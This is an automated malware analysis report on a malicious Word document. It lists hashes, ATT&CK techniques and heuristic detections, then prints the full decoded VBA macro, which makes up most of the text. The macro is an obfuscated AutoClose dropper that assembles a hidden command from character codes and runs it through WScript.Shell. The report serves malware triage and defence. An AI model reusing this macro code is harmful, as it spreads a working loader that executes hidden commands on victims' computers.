Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a8aac2dc00d5963f…

MALICIOUS

Office (OLE)

223.0 KB Created: 2017-09-14 11:50:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: a3a6bb0527372c4df0df94f1c571cc1c SHA-1: 38089a1dfce027c11bd64f2e0a16a0936b308f64 SHA-256: a8aac2dc00d5963f2420e34be54ba78cb3a9a1fb7a65f2620c241fed377578fc
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains VBA macros with obfuscated code, including references to WScript.Shell and CreateObject, indicating an attempt to execute arbitrary code. The AutoClose macro and the use of WScript.Shell strongly suggest the execution of a secondary payload, likely downloaded from an external source. The ClamAV detection and heuristic firings confirm its malicious nature.

Heuristics 10

  • ClamAV: Doc.Macro.Obfuscation-6344051-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6344051-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       Application.run "Daba", "Wscript.Shell", uvydvbh
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub Daba(abc As String, akda As String)
CreateObject(abc).run akda, 0
End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Name = "jnbwrm"
Sub AutoClose()
    aqokdzjj
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18683 bytes
SHA-256: df52eac0f4bcba812109c5fc762a9a50cbd8b8816d2272aeae06d7f68aa9bf64
Detection
ClamAV: No threats found
Obfuscation or payload: likely
120 of 200 identifiers look randomly generated (e.g. 'twvdsbzk') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "jnbwrm"
Sub AutoClose()
    aqokdzjj
End Sub

Public Sub aqokdzjj()

    mrzuqvk.igdn
mrzuqvk.tkeqzivl
mrzuqvk.ivatjxt
mrzuqvk.dybnvia
mrzuqvk.smplyvcr
mrzuqvk.tgcvdmh
mrzuqvk.yttu
mrzuqvk.iwxr
mrzuqvk.ljcnvew
mrzuqvk.kzahzaxd
mrzuqvk.febi
mrzuqvk.cfeaabi
mrzuqvk.rxdsnn
mrzuqvk.jqsrfjj
mrzuqvk.ozrscl
mrzuqvk.wmcs
mrzuqvk.eqlxx
mrzuqvk.paqrm
mrzuqvk.cpcoarb
mrzuqvk.xksx
mrzuqvk.klejb
mrzuqvk.kcfleeu
mrzuqvk.yzzjytn
mrzuqvk.zxfljubs
mrzuqvk.fxyyu
mrzuqvk.cqtaogi
mrzuqvk.xbahoag
mrzuqvk.chahhrhj
mrzuqvk.pypxoh
mrzuqvk.dkso
mrzuqvk.crdwndvz
mrzuqvk.psnkppfp
mrzuqvk.gybuhhgd
mrzuqvk.pxpihziu
mrzuqvk.twlus
mrzuqvk.bwkm
mrzuqvk.jkyrm
mrzuqvk.ucisir
mrzuqvk.bjbct
mrzuqvk.grvzdoaz
mrzuqvk.tpcza
mrzuqvk.axfu
mrzuqvk.pufzptby
mrzuqvk.qtpqv
mrzuqvk.xwbfnlsu
mrzuqvk.hicnyuo
mrzuqvk.srcjl
mrzuqvk.tozyktqu
mrzuqvk.fkxcqq
mrzuqvk.kutbvmi
mrzuqvk.inudifwq
mrzuqvk.cxwpop
mrzuqvk.yopnizf
mrzuqvk.pneb
mrzuqvk.njpbdpgp
mrzuqvk.cftrpbo
mrzuqvk.udyamfl
mrzuqvk.vxri
mrzuqvk.lfplqkr
mrzuqvk.ytxpbn
mrzuqvk.snqzqkm
mrzuqvk.nalin
mrzuqvk.rodlg
mrzuqvk.abyczmh
mrzuqvk.jwjltz
mrzuqvk.jvtna
mrzuqvk.sisna
mrzuqvk.estkgug
mrzuqvk.sphuyrq
mrzuqvk.asgtqvgq
mrzuqvk.copthnl
mrzuqvk.bvyuvli
mrzuqvk.dqcei
mrzuqvk.hpqtddce
mrzuqvk.bcaat
mrzuqvk.uoidfuxj
mrzuqvk.fatkaudi
mrzuqvk.owdhbvol
mrzuqvk.xdkgln
mrzuqvk.drhdah
mrzuqvk.hyvfznd
mrzuqvk.obmbypog
mrzuqvk.txtk
mrzuqvk.vwdr
mrzuqvk.texm
mrzuqvk.vhbp
mrzuqvk.hyndgh
mrzuqvk.gyvfgvq
mrzuqvk.yoyxug
mrzuqvk.heeorr
mrzuqvk.hpkl
mrzuqvk.hlmi
mrzuqvk.rkownmg
mrzuqvk.fwhdnt
mrzuqvk.hrtrta
mrzuqvk.prdgzjv
mrzuqvk.lpeyptee
mrzuqvk.kkqt
mrzuqvk.ppjaansc
mrzuqvk.vdpykft
mrzuqvk.xwxfa
mrzuqvk.yweuz
mrzuqvk.ofod
mrzuqvk.ensqwlzf
mrzuqvk.kyvjqsf
mrzuqvk.bpatevy
mrzuqvk.ntymrzv
mrzuqvk.ioktf
mrzuqvk.mionze
mrzuqvk.ygvt
mrzuqvk.xesqcn
mrzuqvk.ojdcxmv
mrzuqvk.jbdhuv
mrzuqvk.toikcqpn
mrzuqvk.jnzmpts
mrzuqvk.eihklps
mrzuqvk.azao
mrzuqvk.gzxatfn
mrzuqvk.hffbhev
mrzuqvk.afext
mrzuqvk.wilo
mrzuqvk.epzv
mrzuqvk.ednss
mrzuqvk.qvfy
mrzuqvk.upgxlahr
mrzuqvk.vhzv
mrzuqvk.whga
mrzuqvk.ajylo
mrzuqvk.aojd
mrzuqvk.vassxgv
mrzuqvk.pgpk
mrzuqvk.jamu
mrzuqvk.ditep
mrzuqvk.wsnb
mrzuqvk.hlqoczrc

    Dim uvydvbh As String
Dim qakmouzs As String
qakmouzs = "7822047"
While qakmouzs <> 1758376
If qakmouzs = "7822047" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.axdhwb) & chrw(mrzuqvk.twvdsbzk) & chrw(mrzuqvk.fdnktkm) & chrw(mrzuqvk.uabdmwjb) & chrw(mrzuqvk.jdpcwba) & chrw(mrzuqvk.hglz)
qakmouzs = "1617925"
End If
chrw (mrzuqvk.xclvzki)
If qakmouzs = "8722572" Then
Dim cecczspf As String
cecczspf = "9856418"
End If
If qakmouzs = "1617925" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.jdpcwba) & chrw(mrzuqvk.txeoybr) & chrw(mrzuqvk.qcxivt) & chrw(mrzuqvk.axdhwb) & chrw(mrzuqvk.txeoybr) & chrw(mrzuqvk.zoycowaj)
qakmouzs = "2846903"
End If
chrw (mrzuqvk.ztzsj)
If qakmouzs = "1009662" Then
Dim sgjct As String
sgjct = "1323954"
End If
If qakmouzs = "2846903" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.rozkzuu) & chrw(mrzuqvk.yqfncb) & chrw(mrzuqvk.ozbpnxy) & chrw(mrzuqvk.rdixeo) & chrw(mrzuqvk.fdnktkm) & chrw(mrzuqvk.twvdsbzk)
qakmouzs = "1783587"
End If
chrw (mrzuqvk.xyskg)
If qakmouzs = "8759861" Then
Dim amyvcs As String
amyvcs = "9936664"
End If
If qakmouzs = "1783587" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.rozkzuu) & chrw(mrzuqvk.zxofltt) & chrw(mrzuqvk.txeoybr) & chrw(mrzuqvk.qcxivt) & chrw(mrzuqvk.yqfncb) & chrw(mrzuqvk.zzhnafm)
qakmouzs = "8920290"
End If
chrw (mrzuqvk.iqqejmg)
If qakmouzs = "4169680" Then
Dim dceulvtv As String
dceulvtv = "7291801"
End If
If qakmouzs = "8920290" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.rdixeo) & chrw(mrzuqvk.zxofltt) & chrw(mrzuqvk.ozbpnxy) & chrw(mrzuqvk.uydpqfxo) & chrw(mrzuqvk.jdpcwba) & chrw(mrzuqvk.zzhnafm)
qakmouzs = "9725001"
End If
chrw (mrzuqvk.jejznfje)
If qakmouzs = "2156706" Then
Dim pnfd As String
pnfd = "2356288"
End If
If qakmouzs = "9725001" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.txeoybr) & chrw(mrzuqvk.qcxivt) & chrw(mrzuqvk.fdnktkm) & chrw(mrzuqvk.fxqrgr) & chrw(mrzuqvk.utucpzo) & chrw(mrzuqvk.zxofltt)
qakmouzs = "1793441"
End If
chrw (mrzuqvk.kyvzuyfw)
If qakmouzs = "5993695" Then
Dim dlubvj As String
dlubvj = "2909296"
End If
If qakmouzs = "1793441" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.qoknifjr) & chrw(mrzuqvk.fxqrgr) & chrw(mrzuqvk.rdixeo) & chrw(mrzuqvk.fdnktkm) & chrw(mrzuqvk.txeoybr) & chrw(mrzuqvk.tkth)
qakmouzs = "3226757"
End If
chrw (mrzuqvk.jmgb)
If qakmouzs = "8393049" Then
Dim whjk As String
whjk = "3689944"
End If
If qakmouzs = "3226757" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.orvuq) & chrw(mrzuqvk.yqfncb) & chrw(mrzuqvk.yqfncb) & chrw(mrzuqvk.ngidocki) & chrw(mrzuqvk.uyojqjg) & chrw(mrzuqvk.qcxivt)
qakmouzs = "7730893"
End If
chrw (mrzuqvk.cjtzfyrt)
If qakmouzs = "3908554" Then
Dim dardyld As String
dardyld = "2862746"
End If
If qakmouzs = "7730893" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.qcxivt) & chrw(mrzuqvk.xuturwvl) & chrw(mrzuqvk.erza) & chrw(mrzuqvk.xuturwvl) & chrw(mrzuqvk.uabdmwjb) & chrw(mrzuqvk.erza)
qakmouzs = "9716704"
End If
chrw (mrzuqvk.bbxekey)
If qakmouzs = "3324021" Then
Dim ojazpi As String
ojazpi = "7482315"
End If
If qakmouzs = "9716704" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.zlpzxsh) & chrw(mrzuqvk.uabdmwjb) & chrw(mrzuqvk.vtcvzrh) & chrw(mrzuqvk.goyjjm) & chrw(mrzuqvk.erza) & chrw(mrzuqvk.uabdmwjb)
qakmouzs = "2519758"
End If
chrw (mrzuqvk.fjwxbtx)
If qakmouzs = "7650160" Then
Dim idponwzs As String
idponwzs = "8128815"
End If
If qakmouzs = "2519758" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.cmsq) & chrw(mrzuqvk.usef) & chrw(mrzuqvk.qcxivt) & chrw(mrzuqvk.axdhwb) & chrw(mrzuqvk.fxqrgr) & chrw(mrzuqvk.zxofltt)
qakmouzs = "4321476"
End If
chrw (mrzuqvk.eqmvvnxg)
If qakmouzs = "1953444" Then
Dim tijucm As String
tijucm = "4943944"
End If
If qakmouzs = "4321476" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.uydpqfxo) & chrw(mrzuqvk.rozkzuu) & chrw(mrzuqvk.zzhnafm) & chrw(mrzuqvk.twvdsbzk) & chrw(mrzuqvk.uabdmwjb) & chrw(mrzuqvk.kpaalbr)
qakmouzs = "2328765"
End If
chrw (mrzuqvk.ublsxxg)
If qakmouzs = "7923547" Then
Dim jhtx As String
jhtx = "5355937"
End If
If qakmouzs = "2328765" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.ngidocki) & chrw(mrzuqvk.tkth) & chrw(mrzuqvk.txeoybr) & chrw(mrzuqvk.tkth) & chrw(mrzuqvk.gotar) & chrw(mrzuqvk.yqfncb)
qakmouzs = "3359157"
End If
chrw (mrzuqvk.tlwkdegw)
If qakmouzs = "5928771" Then
Dim vpse As String
vpse = "5129138"
End If
If qakmouzs = "3359157" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.twvdsbzk) & chrw(mrzuqvk.ngidocki) & chrw(mrzuqvk.gotar) & chrw(mrzuqvk.qcxivt) & chrw(mrzuqvk.ubtlmx) & chrw(mrzuqvk.eqaayut)
qakmouzs = "579075"
End If
chrw (mrzuqvk.jmgb)
If qakmouzs = "2430511" Then
Dim oeztw As String
oeztw = "7487141"
End If
If qakmouzs = "579075" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.fdnktkm) & chrw(mrzuqvk.utucpzo) & chrw(mrzuqvk.jdpcwba) & chrw(mrzuqvk.rdixeo) & chrw(mrzuqvk.uabdmwjb) & chrw(mrzuqvk.jdpcwba)
qakmouzs = "2472129"
End If
chrw (mrzuqvk.upkoym)
If qakmouzs = "9197810" Then
Dim pyamwcd As String
pyamwcd = "2931669"
End If
If qakmouzs = "2472129" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.hglz) & chrw(mrzuqvk.jdpcwba) & chrw(mrzuqvk.tkth) & chrw(mrzuqvk.txeoybr) & chrw(mrzuqvk.nrlrdfat) & chrw(mrzuqvk.nrlrdfat)
qakmouzs = "9945805"
End If
chrw (mrzuqvk.khlazxf)
If qakmouzs = "8891913" Then
Dim yzxdmb As String
yzxdmb = "6646759"
End If
If qakmouzs = "9945805" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.txeoybr) & chrw(mrzuqvk.tkth) & chrw(mrzuqvk.gotar) & chrw(mrzuqvk.yqfncb) & chrw(mrzuqvk.twvdsbzk) & chrw(mrzuqvk.ngidocki)
qakmouzs = "5155020"
End If
chrw (mrzuqvk.rzvka)
If qakmouzs = "8150595" Then
Dim xutx As String
xutx = "8457597"
End If
If qakmouzs = "5155020" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.gotar) & chrw(mrzuqvk.qcxivt) & chrw(mrzuqvk.ubtlmx) & chrw(mrzuqvk.eqaayut) & chrw(mrzuqvk.fdnktkm) & chrw(mrzuqvk.utucpzo)
qakmouzs = "4244732"
End If
chrw (mrzuqvk.ujkzkfp)
If qakmouzs = "115273" Then
Dim otkbybq As String
otkbybq = "5194965"
End If
If qakmouzs = "4244732" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.jdpcwba) & chrw(mrzuqvk.rdixeo) & chrw(mrzuqvk.uabdmwjb) & chrw(mrzuqvk.jdpcwba) & chrw(mrzuqvk.hglz) & chrw(mrzuqvk.jdpcwba)
qakmouzs = "1758376"
End If
chrw (mrzuqvk.pnksuvh)
If qakmouzs = "6464542" Then
Dim fbsikci As String
fbsikci = "6140369"
End If
If qakmouzs = "1758376" Then
uvydvbh = uvydvbh & chrw(mrzuqvk.tkth)
qakmouzs = "1758376"
End If
chrw (mrzuqvk.ialal)
If qakmouzs = "6485922" Then
Dim sfncfv As String
sfncfv = "3765212"
End If
Wend

   Application.run "Daba", "Wscript.Shell", uvydvbh
End Sub
Sub Daba(abc As String, akda As String)
CreateObject(abc).run akda, 0
End Sub

Attribute VB_Name = "mrzuqvk"
Public ialal As String
Public hisw As String
Public pnksuvh As String
Public blmqcl As String
Public rlvaf As String
Public ilmq As String
Public ejhe As String
Public pfrslmu As String
Public tuqmc As String
Public ujkzkfp As String
Public vubs As String
Public bucumj As String
Public vtgv As String
Public ovlmvxqo As String
Public hjkdxg As String
Public rpsbaun As String
Public rzvka As String
Public pimyaxeo As String
Public czickhao As String
Public vqcnk As String
Public nlfwbw As String
Public fldnyok As String
Public votjjj As String
Public khlazxf As String
Public zlsa As String
Public nrlrdfat As String
Public sxapgap As String
Public fdug As String
Public jtte As String
Public zdyxm As String
Public upkoym As String
Public yliy As String
Public yzldvtsw As String
Public lmbyows As String
Public ordfvx As String
Public gyjmusi As String
Public trntrocs As String
Public yymkyzg As String
Public eqaayut As String
Public ubtlmx As String
Public oivgin As String
Public pvlqi As String
Public etggn As String
Public zqyw As String
Public tlwkdegw As String
Public luqrrtd As String
Public gotar As String
Public hnyb As String
Public nxopmuhc As String
Public beklt As String
Public bhmhuo As String
Public ublsxxg As String
Public kpaalbr As String
Public jqaor As String
Public wggqjp As String
Public qfvzpmzt As String
Public knuwtfvf As String
Public aldmm As String
Public eqmvvnxg As String
Public xroh As String
Public caisktgj As String
Public rjlpf As String
Public exrcq As String
Public usef As String
Public cmsq As String
Public fjwxbtx As String
Public sfygf As String
Public mnpqkd As String
Public goyjjm As String
Public vtcvzrh As String
Public ugyo As String
Public zlpzxsh As String
Public bbxekey As String
Public khkn As String
Public fbktxjyt As String
Public cdzxn As String
Public erza As String
Public xuturwvl As String
Public vcmr As String
Public cjtzfyrt As String
Public ayucniu As String
Public uyojqjg As String
Public ngidocki As String
Public fhxc As String
Public fhqpkw As String
Public orvuq As String
Public jmgb As String
Public tkth As String
Public npoqfyj As String
Public quteh As String
Public mcbl As String
Public xpzpqtaj As String
Public qoknifjr As String
Public kyvzuyfw As String
Public ajpawz As String
Public utucpzo As String
Public fxqrgr As String
Public yusclos As String
Public ppybhm As String
Public fsxfodq As String
Public jejznfje As String
Public dcaon As String
Public cpued As String
Public uydpqfxo As String
Public wzrgspz As String
Public owmm As String
Public yqyvw As String
Public iqqejmg As String
Public zzhnafm As String
Public fcfr As String
Public rylxhl As String
Public ugsnuopt As String
Public zxofltt As String
Public crpb As String
Public xyskg As String
Public xbdekj As String
Public gdvwz As String
Public rdixeo As String
Public ozbpnxy As String
Public yqfncb As String
Public rozkzuu As String
Public ztzsj As String
Public zoycowaj As String
Public nplrf As String
Public uatc As String
Public qcxivt As String
Public txeoybr As String
Public thkmwiv As String
Public xclvzki As String
Public hglz As String
Public jdpcwba As String
Public uabdmwjb As String
Public fdnktkm As String
Public twvdsbzk As String
Public axdhwb As String
Sub igdn()
axdhwb = 8223 - 8124
End Sub
Sub tkeqzivl()
twvdsbzk = -7396 + 7505
End Sub
Sub ivatjxt()
fdnktkm = 7790 - 7690
End Sub
Sub dybnvia()
uabdmwjb = 4404 - 4358
End Sub
Sub smplyvcr()
jdpcwba = 8204 - 8103
End Sub
Sub tgcvdmh()
hglz = -5468 + 5588
End Sub
Sub yttu()
xclvzki = 9724 - 9328
End Sub
Sub iwxr()
thkmwiv = -6069 + 6170
End Sub
Sub ljcnvew()
txeoybr = -1429 + 1461
End Sub
Sub kzahzaxd()
qcxivt = 6143 - 6096
End Sub
Sub febi()
uatc = 9898 - 9799
End Sub
Sub cfeaabi()
nplrf = -5935 + 5967
End Sub
Sub rxdsnn()
zoycowaj = 5702 - 5604
End Sub
Sub jqsrfjj()
ztzsj = -2010 + 2243
End Sub
Sub ozrscl()
rozkzuu = 7408 - 7303
End Sub
Sub wmcs()
yqfncb = -1247 + 1363
End Sub
Sub eqlxx()
ozbpnxy = 9041 - 8926
End Sub
Sub paqrm()
rdixeo = -344 + 441
End Sub
Sub cpcoarb()
gdvwz = 6941 - 6841
End Sub
Sub xksx()
xbdekj = -3459 + 3568
End Sub
Sub klejb()
xyskg = 7163 - 7103
End Sub
Sub kcfleeu()
crpb = 3726 - 3621
End Sub
Sub yzzjytn()
zxofltt = 1078 - 968
End Sub
Sub zxfljubs()
ugsnuopt = 3750 - 3718
End Sub
Sub fxyyu()
rylxhl = -8668 + 8715
End Sub
Sub cqtaogi()
fcfr = 6401 - 6285
End Sub
Sub xbahoag()
zzhnafm = 8376 - 8262
End Sub
Sub chahhrhj()
iqqejmg = -5667 + 6403
End Sub
Sub pypxoh()
yqyvw = -7582 + 7679
End Sub
Sub dkso()
owmm = -8727 + 8837
End Sub
Sub crdwndvz()
wzrgspz = -825 + 940
End Sub
Sub psnkppfp()
uydpqfxo = -748 + 850
End Sub
Sub gybuhhgd()
cpued = 12 + 89
End Sub
Sub pxpihziu()
dcaon = 3562 - 3448
End Sub
Sub twlus()
jejznfje = -3039 + 4022
End Sub
Sub bwkm()
fsxfodq = -4449 + 4481
End Sub
Sub jkyrm()
ppybhm = 2266 - 2219
End Sub
Sub ucisir()
yusclos = -2316 + 2416
End Sub
Sub bjbct()
fxqrgr = 7499 - 7388
End Sub
Sub grvzdoaz()
utucpzo = 9603 - 9484
End Sub
Sub tpcza()
ajpawz = -4317 + 4427
End Sub
Sub axfu()
kyvzuyfw = 5236 - 4843
End Sub
Sub pufzptby()
qoknifjr = 239 - 131
End Sub
Sub qtpqv()
xpzpqtaj = 9245 - 9134
End Sub
Sub xwbfnlsu()
mcbl = -9827 + 9924
End Sub
Sub hicnyuo()
quteh = -8816 + 8916
End Sub
Sub srcjl()
npoqfyj = -9813 + 9845
End Sub
Sub tozyktqu()
tkth = 7111 - 7077
End Sub
Sub fkxcqq()
jmgb = 8206 - 7804
End Sub
Sub kutbvmi()
orvuq = -5616 + 5720
End Sub
Sub inudifwq()
fhqpkw = -3816 + 3932
End Sub
Sub cxwpop()
fhxc = 6156 - 6040
End Sub
Sub yopnizf()
ngidocki = 9432 - 9320
End Sub
Sub pneb()
uyojqjg = -3148 + 3206
End Sub
Sub njpbdpgp()
ayucniu = 3737 - 3690
End Sub
Sub cftrpbo()
cjtzfyrt = 7004 - 6488
End Sub
Sub udyamfl()
vcmr = -4309 + 4356
End Sub
Sub vxri()
xuturwvl = 6866 - 6817
End Sub
Sub lfplqkr()
erza = 6267 - 6210
End Sub
Sub ytxpbn()
cdzxn = -7965 + 8014
End Sub
Sub snqzqkm()
fbktxjyt = -8854 + 8900
End Sub
Sub nalin()
khkn = -7813 + 7870
End Sub
Sub rodlg()
bbxekey = 1135 - 1000
End Sub
Sub abyczmh()
zlpzxsh = 308 - 254
End Sub
Sub jwjltz()
ugyo = 967 - 921
End Sub
Sub jvtna()
vtcvzrh = -9787 + 9837
End Sub
Sub sisna()
goyjjm = 9021 - 8969
End Sub
Sub estkgug()
mnpqkd = 6436 - 6379
End Sub
Sub sphuyrq()
sfygf = -5008 + 5054
End Sub
Sub asgtqvgq()
fjwxbtx = -3703 + 4068
End Sub
Sub copthnl()
cmsq = -6185 + 6240
End Sub
Sub bvyuvli()
usef = 8843 - 8795
End Sub
Sub dqcei()
exrcq = -320 + 367
End Sub
Sub hpqtddce()
rjlpf = -1721 + 1820
End Sub
Sub bcaat()
caisktgj = -3806 + 3917
End Sub
Sub uoidfuxj()
xroh = -1161 + 1271
End Sub
Sub fatkaudi()
eqmvvnxg = 68 + 517
End Sub
Sub owdhbvol()
aldmm = 3896 - 3794
End Sub
Sub xdkgln()
knuwtfvf = 9929 - 9824
End Sub
Sub drhdah()
qfvzpmzt = -2610 + 2724
End Sub
Sub hyvfznd()
wggqjp = -8671 + 8780
End Sub
Sub obmbypog()
jqaor = 9334 - 9288
End Sub
Sub txtk()
kpaalbr = 6844 - 6722
End Sub
Sub vwdr()
ublsxxg = 2602 - 2350
End Sub
Sub texm()
bhmhuo = 3566 - 3454
End Sub
Sub vhbp()
beklt = -5178 + 5212
End Sub
Sub hyndgh()
nxopmuhc = -8882 + 8914
End Sub
Sub gyvfgvq()
hnyb = -4837 + 4871
End Sub
Sub yoyxug()
gotar = 2182 - 2145
End Sub
Sub heeorr()
luqrrtd = 236 - 120
End Sub
Sub hpkl()
tlwkdegw = -2164 + 2723
End Sub
Sub hlmi()
zqyw = -2567 + 2676
End Sub
Sub rkownmg()
etggn = -7822 + 7934
End Sub
Sub fwhdnt()
pvlqi = -4655 + 4692
End Sub
Sub hrtrta()
oivgin = -3818 + 3865
End Sub
Sub prdgzjv()
ubtlmx = -2886 + 2951
End Sub
Sub lpeyptee()
eqaayut = 6684 - 6610
End Sub
Sub kkqt()
yymkyzg = 5840 - 5438
End Sub
Sub ppjaansc()
trntrocs = 287 - 187
End Sub
Sub vdpykft()
gyjmusi = 3439 - 3320
End Sub
Sub xwxfa()
ordfvx = 2912 - 2811
End Sub
Sub yweuz()
lmbyows = 2796 - 2699
End Sub
Sub ofod()
yzldvtsw = -9249 + 9295
End Sub
Sub ensqwlzf()
yliy = 8215 - 8114
End Sub
Sub kyvjqsf()
upkoym = -3821 + 4708
End Sub
Sub bpatevy()
zdyxm = -8103 + 8223
End Sub
Sub ntymrzv()
jtte = 5056 - 4955
End Sub
Sub ioktf()
fdug = 2348 - 2314
End Sub
Sub mionze()
sxapgap = 1205 - 1173
End Sub
Sub ygvt()
nrlrdfat = 4544 - 4506
End Sub
Sub xesqcn()
zlsa = 5256 - 5218
End Sub
Sub ojdcxmv()
khlazxf = -3921 + 4372
End Sub
Sub jbdhuv()
votjjj = -5432 + 5464
End Sub
Sub toikcqpn()
fldnyok = -4251 + 4285
End Sub
Sub jnzmpts()
nlfwbw = 5756 - 5719
End Sub
Sub eihklps()
vqcnk = 848 - 732
End Sub
Sub azao()
czickhao = -4982 + 5091
End Sub
Sub gzxatfn()
pimyaxeo = -6078 + 6190
End Sub
Sub hffbhev()
rzvka = -1034 + 1382
End Sub
Sub afext()
rpsbaun = 6019 - 5982
End Sub
Sub wilo()
hjkdxg = -5704 + 5751
End Sub
Sub epzv()
ovlmvxqo = 5298 - 5233
End Sub
Sub ednss()
vtgv = 3790 - 3716
End Sub
Sub qvfy()
bucumj = -5027 + 5127
End Sub
Sub upgxlahr()
vubs = 6137 - 6018
End Sub
Sub vhzv()
ujkzkfp = 86 + 724
End Sub
Sub whga()
tuqmc = -5274 + 5375
End Sub
Sub ajylo()
pfrslmu = 4502 - 4405
End Sub
Sub aojd()
ejhe = -728 + 774
End Sub
Sub vassxgv()
ilmq = 798 - 697
End Sub
Sub pgpk()
rlvaf = 2380 - 2260
End Sub
Sub jamu()
blmqcl = -3329 + 3430
End Sub
Sub ditep()
pnksuvh = -1721 + 1765
End Sub
Sub wsnb()
hisw = 7125 - 7091
End Sub
Sub hlqoczrc()
ialal = 23 + 181
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.